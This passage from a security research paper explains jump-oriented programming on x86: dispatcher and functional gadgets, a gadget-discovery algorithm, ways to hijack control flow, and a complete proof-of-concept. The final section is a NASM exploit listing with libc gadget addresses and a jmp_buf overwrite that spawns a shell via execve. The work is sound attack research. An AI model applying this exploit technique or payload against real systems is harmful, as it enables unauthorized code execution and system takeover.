pc \leftarrow f(pc);
\]

\[
goto * pc;
\]

Here, \texttt{pc} can be a memory address or register that represents a pointer into our jump-oriented program. It is \textit{not} the CPU’s instruction pointer—it refers to a pointer in the gadget table supplied by the attacker. The function \( f(pc) \) is any operation that changes the program counter \texttt{pc} in a predictable and evolving way. In some cases, it may be simply expressed via pure arithmetic (e.g., \( f(pc) = pc + 4 \) as shown in Figure 3.2). In other cases, it could be a memory dereference operation (e.g., \( f(pc) = *(pc - 4) \)) or any other expression that can be predicted by the attacker beforehand. Each time the dispatcher gadget is invoked, the \texttt{pc} will be advanced accordingly. Then the dispatcher dereferences it and jumps to the resulting address.\footnote{On the x86, it is possible to add a constant to a register and dereference the result within one instruction; such instructions can be used in dispatchers without difficulty, as the constant is known beforehand.}
Given the wide definition of what constitutes a dispatcher, we had little trouble in finding several viable candidates within libc. The way the dispatcher gadget advances the \(pc\) affects the organization of the dispatch table. Specifically, the dispatch table can be a simple array if \(pc\) is repeatedly advanced by a constant value (e.g., \(f(pc) = pc - 4\)) or a linked list if memory is dereferenced (e.g., \(f(pc) = *(pc + 4)\)). The example attack in Section 3.3 uses an array to organize the dispatch table.

This new programming model expands the basic code-reuse attack used in ROP. Specifically, if we consider the stack used in a ROP-based program as its dispatch table and \(esp\) as its \(pc\), the \texttt{ret} instruction at the end of each return-oriented gadget acts as a dispatcher that advances the \(pc\) by 4 each time a gadget is completed, i.e., \(f(pc) = pc + 4\). However, all ROP-based attacks still rely on the stack, which is no longer necessary in a JOP-based attack.

### 3.2.2 Functional Gadgets

The dispatcher gadget itself does not perform any actual work on its own—it exists solely to launch other gadgets, which we call \emph{functional gadgets}. To maintain control of the execution, all functional gadgets executed by the dispatcher must conclude by jumping back to it, so that the next gadget can be launched.

More formally, a functional gadget is defined as a number of useful instructions ending in a sequence that will load the instruction pointer with result of a known expression. This expression may be a register (\texttt{jmp edx}), a register dereference (\texttt{jmp [edx]}), or a complex dereference expression (\texttt{jmp [edx+esi*4-1]}). The only requirement is that by the time the branch is executed, it must evaluate to the address of the dispatcher, or to another gadget that leads to the dispatcher. However, the attack does not rely on specific operands for each of these branches: functional gadgets may change the CPU state in order to make available a different set of gadgets for the next operation. For example, one gadget may end in \texttt{jmp [edx]}, then a second may use the \texttt{edx} register for a computation before loading \texttt{esi} with the dispatcher address and terminating with \texttt{jmp esi}. Furthermore, the functional gadget may have an effect on \(pc\), which makes it possible to implement conditional branching within the jump-oriented program, including the introduction of loops. The most obvious opcode to use for the branch is an indirect jump (\texttt{jmp}), but one interesting thing to note is that because there is no reliance on the stack, we can also use sequences that end in a \texttt{call}, because the side effect of pushing the return address to the stack is irrelevant.

There are a few different kinds of functional gadgets needed to obtain the same expressive power of ROP, which we briefly review below. Examples of these types are presented in Section 3.3.

**Loading data** In the return-oriented approach, there is an obvious place to place data: in the stack itself. This allows ubiquitous \texttt{pop} instructions to load registers. In JOP, however, one may load data values in a variety of ways—any gadget that loads from and advances a pointer
will do. On the x86, there are a variety of string loading and loop sequences that do this. Further, even though JOP does not rely on the stack for control flow, there is no reason the stack cannot be co-opted to serve as a data loading mechanism as in ROP, as the existing defense techniques focus on protecting stack-based control flow, not simple data access. In our implementation, the stack pointer esp is redirected and the stack is used for this purpose.

**Memory access** To access memory, load and store gadgets are required. These gadgets take a memory address and reads or writes a byte or word at that location.

**Arithmetic and logic** Once operands (or pointers to operands) are loaded into CPU registers, ALU operations can be applied by finding gadgets with the appropriate opcodes (add, sub, and, or, etc.).

**Branching** Unconditional branching can be achieved by modifying the register or memory location used for pc. Conditional branching is performed by adjusting pc based on the result of a previous computation. This may be achieved several ways, including adding a calculated value to pc, using a short conditional branch within a gadget to change pc based on logic, or even using the x86’s special *conditional move* instruction to update pc (cmov).

**System calls** While the above gadgets are sufficient to make JOP Turing complete (i.e., capable of arbitrary computations), system calls are needed to carry out most practical tasks. There are a few different ways to make a system call. First, it is possible to call legitimate functions by setting up the stack with appropriate parameters and a return address of a gadget that will restore the appropriate CPU state and execute the dispatcher. However, because it may be possible for existing defenses against ROP to detect this, a more prudent approach is to make system calls directly. The methodology for doing this varies by CPU and operating system. On the x86-based Linux, one may execute `int 0x80` to raise an interrupt, jump to a kernel-provided routine called `kernel_vsyscall` to execute a `sysenter` instruction, or even execute a `sysenter` instruction directly.

### 3.2.3 Gadget Discovery

The naïve method to locate gadgets within the target binary is to simply disassemble it and search for indirect jump or call instructions. However, instructions on the x86 platform are of variable length, so decoding the same memory from one offset versus another can yield a very different set of operations. This means that every x86 binary contains a number of *unintended* code sequences that can be accessed by jumping to an offset not on an original instruction boundary. Given this, an algorithm for locating gadgets ending in `ret` was given by Shacham in the context of ROP [47].

We adopt a similar approach in our gadget discovery process. The algorithm works by scanning the executable region of the binary for the valid starting byte(s) of an indirect branch instruction. On the x86, this consists of the byte `0xff` followed by a second byte with a specific range of
Algorithm 1

procedure IsViableGadget(G)
1: \( V \leftarrow \{\text{Registers and writable memory addresses}\} \)
2: \( J \leftarrow (\text{Last instruction of } G) \)
3: if \((J \text{ is not an indirect jump}) \lor (J.\text{operand} \notin V)\) then
4: \( \text{return false} \)
5: end if
6: \( A \leftarrow \{\text{Addresses of each instruction in } G\} \)
7: for all instructions \( I \in G, \text{ such that } I \neq J \) do
8: if \( I \text{ is an illegal instruction} \) then
9: \( \text{return false} \)
10: end if
11: if \((I \text{ is a branch}) \land \neg((I \text{ is a conditional jump}) \land (I.\text{operand} \in A))\) then
12: \( \text{return false} \)
13: end if
14: end for
15: return true

procedure FindGadgets(C)
1: for each address \( p \) that is an indirect branch in \( C \) do
2: \( \text{len} \leftarrow (\text{Length of the branch at } C[p]) \)
3: for \( \delta = 1 \) to \( \delta_{\text{max}} \) do
4: \( G \leftarrow \text{disassemble}(C[p - \delta : p + \text{len}]) \)
5: if IsViableGadget(G) \( \land \text{Heuristic}(G) \) then
6: \( \text{print } G \)
7: end if
8: end for
9: end for

values.\(^5\) Such sequences can be located by a linear search. From there, it is a simple matter to step backwards byte by byte and decode each possible gadget terminating in the indirect jump. This approach is defined formally in Algorithm 1.

As shown in the algorithm, the FindGadgets(C) procedure uses a string search to find indirect jumps in a codebase \( C \), then walks backwards by up to \( \delta_{\text{max}} \) bytes and disassembles each resulting code region. The value of \( \delta_{\text{max}} \) is the maximum size of a gadget, in bytes. Its selection depends on the average length of instructions on the given architecture and the maximum number of instructions per gadget to consider. Our experience is that, as observed in ROP \([47]\), useful gadgets need not be longer than 5 instructions.

There are several criteria by which a potential gadget can be eliminated at this stage; these are detected by the procedure IsViableGadget(G). First, because the algorithm walks backward one

\(^5\)For full details on the precise encoding of indirect \texttt{jmp} and \texttt{call} instructions, see \([29]\).
byte at a time, it is possible that the sequence that was originally an indirect jump is no longer interpreted as such. If this is the case, the gadget is eliminated. Second, the target of an indirect jump can be a register value (e.g., esi), the address pointed to by a register ([esi]), or the address pointed to by a memory dereference ([0x7474505b]). In the latter case, if the address given is not likely to be valid, writable location at runtime, then the gadget is eliminated. Third, if any part of the gadget does not encode a legal x86 instruction, the gadget is eliminated. Finally, the gadget itself may contain a conditional branch separate from the indirect branch at the end. If the target of this branch lies outside of the gadget bounds, the gadget is eliminated. Further, if the target of the branch does not align with the instructions identified in the gadget, it is eliminated.

This yields the set of potentially useful gadgets in the codebase, and on a large codebase such as libc, that will mean tens of thousands of candidate gadgets. The set is narrowed down further by Heuristic(G), which filters gadgets based on their viability for a particular purpose. While there has been much work on completely automating the gadget search in ROP [8, 28, 36], the JOP gadget search adds additional complexity. Because each gadget must end with a jump back to the dispatcher, care must be taken to ensure that the register used for this purpose is set properly before it is needed. This introduces two requirements when locating and chaining jump-oriented gadgets:

Internal integrity The gadget must not destroy its own jump target. The target may be modified, however, if this modification can be compensated for by a previous gadget. For example, if a gadget increments edx as a side-effect before ending in jmp [edx], then the value of edx when the gadget starts should be one less than the intended value.

Composability Because gadgets are chained together, the side-effects of an earlier gadget must not disturb the jump targets of subsequent ones. For example, if a register is used for a calculation in gadget A and used as a jump target in gadget B, then an intervening gadget must set this register to the dispatcher address before gadget B can be used.

Because of this added complexity, the search for gadgets in this work requires additional heuristics, represented in the algorithm as Heuristic(G). We describe the most interesting of these heuristics below.

To locate potential dispatcher gadgets within the codebase, we developed the dispatcher heuristic. This algorithm works by filtering all the potential gadgets located by the search algorithm down to a small set from which the attack designer can choose. For each gadget, we begin by getting the jump target in the gadget’s last instruction, then examining the first instruction in the gadget sequence based on three conditions.

First, the instruction must have the jump target as its destination operand. If the gadget is not modifying the jump target, then it cannot be a dispatcher.
Second, we filter the gadgets based on opcode. Because of the wide variety of x86 opcodes which could advance possibly pc, it is more expedient to filter opcodes via a blacklist rather than a whitelist. Therefore, we throw out opcodes that are unable to change the target by at least the word size. This includes: (a) inc and dec, which only adjust the operand by 1, (b) push and pop, since we are not using the stack for control flow, (c) xchg, which can only swap two registers, (d) cmp and test, which do not modify the operands, and (e) the logical operators xor, or, and and.

Third, operations that completely overwrite the destination operand (e.g., mov) must be self-referential, i.e., the destination operand is also present within the source operands. For example, the "load effective address" opcode (lea) can perform calculations based on one or more registers. The instruction lea edx, [eax+ebx] is unlikely to be useful within a dispatcher, as it overwrites edx with the calculation eax+ebx – it does not advance edx by a predictable value. Conversely, the instruction lea edx, [edx+esi] advances edx by the value stored in esi, and is therefore a dispatcher candidate. The self-referential requirement is not strictly necessary, as there could be a multi-register scheme that could act as a dispatcher, but enforcing the requirement simplifies the search considerably by eliminating a vast number of false positives.

Once the gadgets have been filtered by these three conditions, we examine each candidate and choose one that uses the least common registers. This is because the register or registers used by the dispatcher will be unavailable for computation, so choosing the dispatcher that uses the least common registers will make available the greatest number of functional gadgets.

There are a number of heuristics available to locate different kinds of functional gadgets. In the case of conditional branch gadgets, the conditional branch operation can be separated into two steps: (1) update a general purpose register based on a comparison, and (2) use this result to permute pc. Because step 2 is a simple arithmetic operation, we instead focus on finding gadgets that implement step 1.

The result of a comparison are stored in CPU’s comparator flags register (EFLAGS on the x86), and the most common way to leverage these flags is with a conditional jump instruction. For example, on the x86, the je instruction will “jump if equal”, i.e. if the “zero flag” ZF is set. To find gadgets that leverage such instructions, the heuristic need only locate those gadgets whose first instruction is a conditional jump to another instruction later in the same gadget. Such a gadget will conditionally jump over some part of the gadget body, and can potentially be used to capture the result of a comparison in a general purpose register, where it can later be added to pc. Because step 2 is a simple arithmetic operation, we instead focus on finding gadgets that implement step 1.

In addition to using conditional jumps, some CPUs, such as modern iterations of the x86, support the “conditional move” (cmov) and “set byte on condition” (set) instructions. The attacker can search for a gadget that uses these instructions to conditionally alter a register.

Finally, there are also instructions that implicitly access the comparator flags, such as adc (“add with carry”). This instruction works like a normal add, except that the destination operand will be incremented one further if the “carry flag” is set. Because the carry flag represents the result of
an unsigned integer comparison whenever the \texttt{cmp} instruction is used, instructions like \texttt{adc} behave like conditional move instructions, and can therefore be used to update general purpose registers with the comparison result.

The heuristics for finding arithmetic, logic, and memory access gadgets are much simpler, by comparison. We need only restrict the opcode to the desired operation (\texttt{add}, \texttt{mov}, \texttt{and}, etc.) and ensure that any destination operands do not conflict with the jump target.

### 3.2.4 Launching the Attack

The vulnerabilities that can lead to a jump-oriented attack are similar to those of return-oriented programming. The key difference, however, is that while ROP requires control over the instruction pointer \texttt{eip} and stack pointer \texttt{esp}, JOP requires \texttt{eip} plus whatever set of memory locations or registers are required to run the dispatcher gadget. In practice, this can be achieved by first directing control flow through a special \textit{initializer gadget}.

Specifically, the initializer gadget fills the relevant registers either by arithmetic and logic or by loading values from memory. Once this is done, the initializer jumps to the dispatcher, and the jump-oriented program can begin. The initializer gadget can take many forms, depending on the mix of registers that need to be filled. One simple case is a gadget that executes the \texttt{popa} instruction, which loads every general-purpose register from the stack. The initializer is not strictly necessary in all cases: if the attacker can take over control flow at a time when registers happen to be set at useful values, the dispatcher can be run directly from there.

The precise vulnerabilities that can lead to a return-oriented attack have been discussed in depth previously [47, 8, 13, 26, 38, 36, 14], so below we merely summarize them and point out any additional requirements imposed by the jump-oriented model. The attacker can initiate a JOP attack by compromising any of the following:

- **The stack.** The attacker can overflow a buffer stored on the stack in order to alter local variables and return addresses within the current and ancestor stack frames. In ROP, the goal is usually to overwrite the return address of the current frame, with the return-oriented programming following thereafter. Such an act would trigger the existing defenses against return-oriented programming, and is therefore unsuitable for launching a jump-oriented attack. Instead, the attacker may overwrite a function pointer in an ancestor stack frame in order to hijack control flow without violating the stack’s LIFO property. This case devolves into the function pointer overwrite attack discussed next.

- **A function pointer.** If a function pointer is overwritten (either on the stack or the heap), it can be used to redirect control flow to an initializer gadget, which can begin the jump-oriented program. This can also be achieved by overwriting a pointer which indirectly refers
to a function pointer, such as the vtable pointer of a C++ object. However, depending on the initializer gadgets available, it may be difficult to gain full control using only an overwritten function pointer. For example, if using an initializer based on the `popa` instruction, the region of the stack to be popped must significantly overlap the attacker-controlled memory.

- **A `setjmp` buffer.** The C99 standard specifies the `setjmp()` and `longjmp()` functions as a means to achieve non-local gotos [31]. This functionality is often used for complex error handlers and in user mode threading libraries, such as certain versions of pthreads [32]. The programmer allocates a `jmp_buf` structure and calls `setjmp()` with a pointer to this structure at the point in the program where control flow will eventually return. The `setjmp()` function will store the current CPU state in the `jmp_buf` object, including the instruction pointer `eip` and some (but not all) general-purpose registers. The function returns 0 at this time. Later, the programmer can call `longjmp()` with the `jmp_buf` object in order to return control flow back to the point when `setjmp()` was originally called, bypassing all stack semantics. This function will restore the saved registers and jump to the saved value of `eip`. At this time, it will be as if `setjmp()` returns a second time, now with a non-zero return value. If the attacker can overwrite this buffer and a `longjmp()` is subsequently called, then control flow can be easily redirected to an initializer gadget to begin the jump-oriented program. Because of the straightforward nature of this technique, it is employed in our example attack (Section 3.3.4).

Once the control flow and CPU state have been hijacked by one of the above techniques, the jump-oriented program can commence.

### 3.3 Implementation

To demonstrate the efficacy of the JOP technique, we developed a jump-oriented attack on a modern Linux system. Specifically, the attack is developed under Debian Linux 5.0.4 on the 32-bit x86 platform, with all gadgets being gleaned from the GNU libc library. Debian ships multiple versions of libc for different CPU and virtualization environments. Our target library was `/lib/i686/cmov/libc-2.7.so`\(^6\), the version for CPUs supporting the conditional move (`cmov`) instruction. In the following, we first examine the overall availability of gadgets within libc, and then cover the selection of the dispatcher and other functional gadgets. After that, we present a full jump-oriented example attack.

\(^6\)File size: 1413540 bytes, MD5 checksum: e4e7e3c6b4f1be983e00c0daaf3a3af3.
3.3.1 Availability of Gadgets

Jump-oriented programming requires gadgets that end in indirect branches instead of the \texttt{ret} instruction. These branches may be \texttt{jmp} instructions, or, because we are not concerned with using the stack for control flow, \texttt{call} instructions. Recall that the x86’s variable instruction size allows for multiple interpretations of the same code, leading to a set of \textit{intended} instructions generated by the compiler, plus an alternative set of \textit{unintended} instructions found by reinterpreting the code from a different offset. To examine the relative availability of gadgets in JOP versus ROP, we show in Figure 3.3 the comparison between the number of \texttt{ret} instructions and the number of indirect \texttt{jmp} and \texttt{call} instructions.

If we were constrained to use only intended \texttt{jmp} and \texttt{call} gadgets, it is unlikely that there would be enough gadgets in libc alone to sustain a Turing-complete attack code, as there are only a few hundred such instructions present. However, when unintended instruction sequences are taken into account, a far greater selection of gadgets becomes available. This is due in large part to a specific aspect of the x86 instruction set: that the first opcode byte for an indirect jump is 0xff. Because the x86 uses two’s complement signed integers, small negative values contain one or more 0xff bytes. Therefore, in addition to the 0xff bytes provided within opcodes, there is a large selection of 0xff bytes within immediate operands stored in the code stream. In fact, 0xff is the second most prevalent byte in the executable region of libc, with 0x00 being the first. This means that, probabilistically, indirect calls and jumps are far more prevalent than would otherwise be the case. Thanks to this, we have a large number of candidate jump-oriented gadgets to choose from.

To search for gadgets, we apply the algorithm given in Section 3.2.3. In doing so, we must select a value for $\delta_{\text{max}}$, the largest gadget size to consider, in bytes.

A conservative value would be the average gadget length (5) multiplied by the average instruc-
tion's length (3.5), i.e. $[5 \cdot 3.5] = 18$. However, the only side-effect of making $\delta_{\text{max}}$ too large is including gadgets that may be of limited usefulness due to their length, so we err on the side of inclusiveness and set $\delta_{\text{max}} = 32$ bytes. Later, the gadget list may be sorted by number of instructions per gadget in order to focus on shorter and therefore more likely choices.

When the gadget search algorithm is applied to the executable regions of libc, 31,136 potential gadgets are found. The following two sections describe how these candidates are filtered by heuristics and manual analysis in order to locate the dispatcher and functional gadgets to mount our attack.

### 3.3.2 The Dispatcher Gadget

Using the heuristics described in Section 3.2.3, the complete set of potential gadgets was reduced to 35 candidates. Because there are so many choices, we can eliminate sequences longer than two instructions (the minimum length of any useful gadget) and still have 14 candidates to choose from. Through manual analysis, we find that 12 of these are viable. These choices use either arithmetic or dereferencing to advance $pc$, and rely on various registers to operate. Because the registers used by the dispatcher are unavailable for use by functional gadgets, choosing a dispatcher that uses the least common registers will makes available the broadest range of functional gadgets. With this in mind, we selected the following dispatcher gadget for use in our example shellcode:

```plaintext
add      ebp, edi
jmp      [ebp-0x39]
```

This gadget uses the stack base pointer `ebp` as the jump target $pc$, adding to it the value stored in `edi`. We find that, as far as functional gadgets are concerned, neither of these registers play a prominent role in code generated by the compiler. Also, the constant offset `-0x39` applied to the `jmp` instruction is of little consequence, as this can be statically compensated for when setting `ebp` to begin with. Because it is straightforward, predictable, and uses only two little-needed registers, we selected this dispatcher gadget to drive the shellcode example employed in Section 3.3.4.

### 3.3.3 Other Gadgets

Once the dispatcher is in place, one of the first functional gadgets needed is a means to load operands. In ROP, this is achieved by placing data on the stack, intermixed with return addresses that point to gadgets. This way, gadgets can use `pop` instructions to access data. There is no reason why this approach cannot be applied in JOP, as anti-ROP defense techniques focus on abuses of the stack as a means for controlling the flow of execution, not data. In our implementation, part of the attack includes moving the stack pointer `esp` to part of the malicious buffer. Data can then be loaded directly from the buffer by `pop` instructions. This forms the basis for our load data gadget.
A heuristic can be applied to locate such gadgets; the only requirements are that (a) the candidate’s first instruction must be a `pop` to a general purpose register other than those used by our chosen dispatcher (ebp and edi), and (b) the indirect jump at the end must not use this register for its destination. This heuristic yields 60 possibilities within libc, so we filter the result further to only include gadgets with three instructions or fewer; this gives 22 possibilities. Manual analysis of this list yields 14 load data gadgets which can be used to load any of the general purpose registers not involved in the dispatcher. There is no need to filter further – because these gadgets have different side-effects and indirect jump targets, each of them may be useful at different times, depending on the registers in use for a calculation within the jump-oriented program.

If all registers need to be loaded at once, a gadget using the `popa` instruction can be executed. This instruction loads all general purpose registers from the stack at once. This forms the basis of the `initializer gadget`, which is used to prepare the CPU state when the attack begins.

Similar to the search for the load data gadgets, basic arithmetic and logic gadgets can be found with simple heuristics. Due to space constraints, suffice it to say there is a plentiful selection of gadgets implementing these operations. Restricting the length of a gadget to three instructions, we find 221 choices for the `add` gadget, 129 choices for `sub`, 112 for `or`, 1191 for `xor`, etc.

Achieving arbitrary access to memory is achieved by similar means. The most straightforward memory gadgets use the `mov` instruction to copy data between registers and memory. A heuristic to find memory write gadgets simply needs to find instructions of the form `mov [dest], src`, while the memory read gadget is of the form `mov dest, [src]`. As with most x86 instructions, the memory address in the `mov` may be offset by a constant, but this can be compensated for when designing the attack. Based on the above observations, a search of libc finds 150 possible load gadgets and 33 possible write gadgets based on `mov`. This does not include the large variety of x86 instructions that perform load and store operations implicitly. For example, the string load and store instructions (`lod` and `sto`) perform moves between eax and the memory referred to by esi or edi.

To locate conditional branch gadgets, we applied the heuristics described in Section 3.2.3. By far the most common means of moving the result of a comparison into a general purpose register is via the `adc` and `sbb` instructions, which work like `add` and `sub`, except incrementing/decrementing one further if the CPU “carry flag” is set. Because this flag represents the result of an unsigned integer comparison, gadgets featuring these instructions can be used to perform conditional branches. There are 1664 such gadgets found in libc, 333 of which consist of only two instructions. These gadgets can update any of the general purpose registers. To complete the conditional jump, we need only apply the plain arithmetic gadgets found previously to add some multiple of the updated register to `pc`.

To perform system calls, there are a number of different approaches the attacker can take. Of course, the attacker could arrange to call a regular library routine such as `system()`. However, because this would involve constructing an artificial stack frame, this approach runs the risk of
being detected by existing anti-ROP defenses. Instead, the attacker can directly request a system call through the kernel’s usual interface. On x86-based Linux, this means raising interrupt 0x80 by executing the \texttt{int 0x80} instruction, jumping to the \_\_kernel\_vsyscall routine provided by the kernel, or, on a modern CPU, executing a \texttt{sysenter} instruction to access the “fast system call” functionality. We opt for the latter approach.

To use this mechanism, the caller will (1) set \texttt{eax} to the system call number, (2) set the registers \texttt{ebx, ecx,} and \texttt{edx} to the call’s parameters, and (3) execute the \texttt{sysenter} instruction. Ordinarily, the caller will also push \texttt{ecx, edx, ebp,} and the address of the next instruction onto the stack, but this bookkeeping is optional for the jump-oriented attacker. Instead, we can take advantage of the fact that the return address is specified on the stack by pointing it back to the dispatcher. This means that the \texttt{sysenter} gadget needs not end in an indirect jump. Note that this return address is \textit{not} the same as a normal function return address – the kernel interface allows for this value to be set by the user. This is because all system calls have the same exit point in userspace: a small snippet of kernel-provided code which jumps back to the stored address.

Given this, the only challenge to making a system call is populating the correct registers. This becomes increasing difficult as the number of parameters increases. For calls with three parameters such as \texttt{execve()}, it is necessary to simultaneously set \texttt{eax, ebx, ecx,} and \texttt{edx}. This is somewhat tricky, as there is no \texttt{popa} gadget that jumps based on a register other than the ones needed for the system call, and the selection of gadgets becomes limited as general purpose registers become occupied with specific values. Nevertheless, it is possible to make arbitrary system calls using only material from libc by chaining together multiple gadgets. For example, the following sequence of gadgets will load \texttt{eax, ebx, ecx,} and \texttt{edx} from attacker-supplied memory, then make a system call.

\begin{verbatim}
popa ; Load all registers
cmc ; No practical effect
jmp far dword [ecx] ; Back to dispatcher via ecx
xchg ecx, eax ; Exchange ecx and eax
fdiv st, st(3) ; No practical effect
jmp [esi-0xf] ; Back to dispatcher via esi
mov eax, [esi+0xc] ; Set eax
mov [esp], eax ; No practical effect
call [esi+0x4] ; Back to dispatcher via esi
sysenter ; Perform system call
\end{verbatim}

This gadget sequence was used in constructing the shellcode for the example attack presented in the following section.
3.3.4 Example attack

Because of its simplicity, we use a vulnerable test program similar to the one given by Checkoway and Shacham [14]. The source code to this program is given in Figure 3.4. In essence, this program copies the first command line argument \texttt{argv[1]} into a 256 byte buffer on the heap. Because the program does not limit the amount of data copied, this program is vulnerable to the \texttt{setjmp} exploit described in Section 3.2.4. The attacker can overflow the buffer and, when the \texttt{longjmp} function is called on line 17, take control of the registers \texttt{ebx}, \texttt{esi}, \texttt{edi}, \texttt{ebp}, \texttt{esp}, and the instruction pointer \texttt{eip}. This specific application is merely an example: any exploit which delivers control of the instruction pointer and other registers can potentially be used to start a jump-oriented attack.

We use this program as a platform to launch a jump-oriented shellcode program which will ultimately use the \texttt{execve} system call to launch an interactive shell. Specifically, our example attack was constructed in NASM [1], which, despite being an assembler, was only used to specify raw data fields. The macros and arithmetic features of NASM allow the expression of the exploit code in a straightforward way. The source code for the attack is given in Figure 3.5.

Only five NASM directives were used:

- \texttt{equ}: computes a constant value for use later in the program.
- \texttt{db}, \texttt{dw}, and \texttt{dd}: emit a literal byte, 16-bit word, or 32-bit double-word.
- \texttt{times}: perform the given directive multiple times. This is used with the \texttt{db} directive to add padding.

When assembled by NASM, this script will produce a binary exploit file, which is then provided to the vulnerable program as a command line argument.
$ ./vulnerable "cat exploit.bin"

This launches the jump oriented program and ultimately yields an interactive shell prompt without a single ret instruction. To understand this attack code, we review the content of Figure 3.5 as it is interpreted chronologically, rather than top-to-bottom. First, lines 3–10 simply declare constants used later in the script, and do not encode any output. The real work of the exploit begins with lines 66–71. This is the area of the buffer that overwrites the jmp_buf structure. The structure just consists of register values that will be loaded—the labels are the start of each line indicate the registers involved. The values set to 0xffffffff are irrelevant—they are overwritten before they’re used, and therefore could be anything. At this point, the only registers that matter are esp and eip. As a security precaution, our version of libc mangles these pointers with the function:

\[
rol(p \oplus 0xff0a0000, 9)
\]

Where \( p \) is the input pointer and \( rol \) is a left bit-wise rotation. It would appear that the constant in the expression is supposed to be a per-process random value, but that feature is not enabled, so the static value shown is used for all processes. The stack pointer esp is set to the start of the exploit buffer, and the instruction pointer eip jumps to an initializer gadget, which executes popa ; jmp [ebx-0x3e]. The popa loads all registers will values from the top of the stack, which now points at the beginning of the buffer.

As discussed in Section 3.3.2, the dispatcher used for this attack consists of:

\[
\begin{align*}
\text{add} & \quad \text{ebp, edi} \\
\text{jmp} & \quad [\text{ebp}-0x39]
\end{align*}
\]

The values loaded by the initializer are on lines 13–20, and they prepare to CPU state to use this dispatcher. The dispatcher uses ebp for pc, which is incremented by edi for each iteration of the dispatcher. Therefore, we set edi to a delta value and ebp to the start of the dispatch table plus 0x39. The obvious choice for edi would be 4, as that would advance a simple linear dispatch table one 32-bit word at a time. However, because we are exploiting a null-terminated string overflow, no nulls can appear in the exploit code. Since the literal value 4 would have to be expressed as the 32-bit 0x00000004, a different number must be selected. We employ the easy solution of setting edi to -4 (0xfffffffff), and encoding the dispatch table backwards. This means that ebp is set to the byte directly after the dispatch table, plus the constant offset of 0x39.

The initializer gadget concludes with jmp [ebx-0x3e], and because ebx has been set accordingly, execution flows to the dispatcher gadget, and the jump-oriented program begins.

The dispatch table is given in reverse order on lines 51–61, with the addresses labeled g00–g0a. The goal of the jump-oriented program is to execute a shell. However, there is a limitation that prevents us from doing that immediately: the execve system call number (0x0000000B) cannot be
1  start:
2  ; Constants:
3  libc:                equ 0xb7e7f000 ; Base address of libc in memory
4  base:                equ 0x0804a008 ; Address where this buffer is loaded
5  base_mangled:        equ 0x1d4011ee ; 0x0804a008 = mangled address of this buffer
6  initializer_mangled: equ 0xc43ef491 ; 0xB7E81F7A = mangled address of initializer gadget
7  dispatcher:          equ 0xB7FA4E9E ; Address of the dispatcher gadget
8  buffer_length:       equ 0x100      ; Target program's buffer size before the jmpbuf.
9  shell:               equ 0xbffff8eb ; Points to the string "/bin/bash" in the environment
10 to_null:             equ libc+0x7   ; Points to a null dword (0x00000000)
11 to_dispatcher:       equ base+to_dispatcher+0x39 ; Jumpback for initializer (plus 0x3e)
12
13  ; Start of the stack. Data read by initializer gadget "popa":
14  popa0_edi: dd -4                     ; Delta for dispatcher; negative to avoid NULLs
15  popa0_esi: dd 0xaaaaaaaa            ; Jumpback for gadgets ending in "jmp [esi]"
16  popa0_ebp: dd base+g_start+0x39     ; Starting jump target for dispatcher (plus 0x39)
17  popa0_esp: dd 0xaaaaaaaa
18  popa0_ebx: dd base+to_dispatcher+0x3e; Jumpback for initializer gadget (plus 0x3e)
19  popa0_edx: dd 0xaaaaaaaa
20  popa0_ecx: dd 0xaaaaaaaa
21  popa0_eax: dd 0xaaaaaaaa
22
23  ; Data read by "popa" for the null-writer gadgets:
24  popa1_edi: dd -4                     ; Delta for dispatcher
25  popa1_esi: dd base+to_dispatcher     ; Jumpback for gadgets ending in "jmp [esi]"
26  popa1_ebp: dd base+g00+0x39          ; Maintain current dispatch table offset
27  popa1_esp: dd 0xaaaaaaaa
28  popa1_ebx: dd base+new_eax+0x17bc0000+1 ; Null-writer clears the 3 high bytes of future eax
29  popa1_edx: dd 0xaaaaaaaa
30  popa1_ecx: dd 0xaaaaaaaa
31  popa1_eax: dd -1                     ; When we increment eax later, it becomes 0
32
33  ; Data read by "popa" to prepare for the system call:
34  popa2_edi: dd -4                     ; Delta for dispatcher
35  popa2_esi: dd base+esi_addr          ; Jumpback for "jmp [esi+K]" for a few values of K
36  popa2_ebp: dd base+g07+0x39          ; Maintain current dispatch table offset
37  popa2_esp: dd 0xaaaaaaaa
38  popa2_ebx: dd shell                  ; Syscall EBX = 1st execve arg (filename)
39  popa2_edx: dd to_null                ; Syscall EDX = 3rd execve arg (envp)
40  popa2_ecx: dd base+to_dispatcher     ; Jumpback for "jmp [ecx]"
41  popa2_eax: dd to_null                ; Swapped into ECX for syscall.  2nd execve arg (argv)
42
43  ; End of stack, start of a general data region used in manual addressing
44  dd dispatcher             ; Jumpback for "jmp [esi-0xf]"
45  times 0x8 db 'X'          ; Filler
46  esi_addr:    dd dispatcher     ; Jumpback for "jmp [esi]"
47  dd dispatcher             ; Jumpback for "jmp [esi+0x4]"
48  times 4 db 'Z'            ; Filler
49  new_eax:    dd 0xEEE0EE0b        ; Sets syscall EAX via [esi+0xc]; EE bytes will be cleared
50
51  ; End of the data region, the dispatch table is below (in reverse order)
52  g0a: dd 0xb7fe3419 ; sysenter
53  g09: dd libc+ 0x1a30d ; mov eax, [esi+0xc] ; mov [esp], eax ; call [esi+0x4]
54  g08: dd libc+0x136460 ; xchg ecx, eax ; fdiv st, st(3) ; jmp [esi-0xf]
55  g07: dd libc+0x137375 ; popa ; jmp far dword [ecx]
56  g06: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
57  g05: dd libc+0x14748d ; inc ebx ; fdivr st(1), st ; jmp [edx]
58  g04: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
59  g03: dd libc+0x14748d ; inc ebx ; fdivr st(1), st ; jmp [edx]
60  g02: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
61  g01: dd libc+0x14734d ; inc eax ; fdivr st(1), st ; jmp [edx]
62  g00: dd libc+0x1474ed ; popa ; fdivr st(1), st ; jmp [edx]
63  g_start: ; Start of the dispatch table, which is in reverse order.
64  times buffer_length - (g_start) db 'x' ; Pad to the end of the legal buffer
65
66  ; LEGAL BUFFER ENDS HERE. Now we overwrite the jmpbuf to take control
67  jmpbuf_ebx: dd 0xaaaaaaaa
68  jmpbuf_esi: dd 0xaaaaaaaa
69  jmpbuf_ebp: dd 0xaaaaaaaa
70  jmpbuf_esp: dd base_mangled ; Redirect esp to this buffer for initializer's "popa"
71  jmpbuf_eip: dd initializer_mangled ; Initializer gadget: popa ; jmp [ebx-0x3e]
72
